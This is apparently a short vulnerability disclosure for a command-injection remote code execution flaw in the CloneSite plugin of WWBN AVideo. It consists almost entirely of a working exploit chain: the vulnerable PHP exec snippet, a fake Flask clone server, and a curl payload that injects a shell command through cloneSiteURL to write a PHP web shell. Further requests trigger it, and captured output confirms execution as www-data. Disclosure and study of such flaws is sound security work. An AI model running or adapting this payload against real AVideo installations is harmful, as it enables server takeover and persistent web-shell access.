WWBN AVideo: RCE cause by clonesite plugin

$objClone->cloneSiteURL = str_replace("'", '', escapeshellarg($objClone->cloneSiteURL));

$sqlURL = "{$objClone->cloneSiteURL}videos/clones/{$json->sqlFile}"; \\116
$cmd = "wget -O {$sqlFile} {$sqlURL}"; \\117
exec($cmd . " 2>&1", $output, $return_val);                 \\119

from flask import Flask, jsonify, request

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch_all(path):
    print("PATH:", path)


    return jsonify({
            "error": False,
            "msg": "",
            "url": "http://target-site.com/",
            "key": "target_clone_key",
            "useRsync": 0,
            "videosDir": "/var/www/html/AVideo/videos/",
            "sqlFile": "Clone_mysqlDump_evil123.sql",
            "videoFiles": [],
            "photoFiles": []
        })



if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8071)

curl -b 'PHPSESSID=<admin_session>'
-X POST "http://127.0.0.1/objects/pluginAddDataObject.json.php" \
  -H "Content-Type: application/json" \
  -d '{
    "cloneSiteURL":"http://127.0.0.1:8071/;echo${IFS}\"<?=system(\\$_POST[1])?>\"${IFS}>1.php;/",
    "cloneSiteSSHIP":"127.0.0.1",
    "cloneSiteSSHUser":"1",
    "cloneSiteSSHPort":"22",
    "cloneSiteSSHPassword":{
        "type":"encrypted",
        "value":"cU1SVkhSVkxqMmxDZlUrSFhNZnRvcFBtTmI3UXNGZ0VFVWxlLzdJL0pjWGFiVXgyb2Iyci9OOE5LN0p6TmN6Zg=="
    },
    "useRsync":true,
    "MaintenanceMode":false,
    "myKey":"ba882541262f3202ee5a5ad790ae5b70"
}' 
#inject evil code
curl "http://127.0.0.1/plugin/CloneSite/cloneClient.json.php" #trigger rce to write 1.php
curl "http://127.0.0.1/plugin/CloneSite/1.php" 
 -d '1=id'
 #uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data)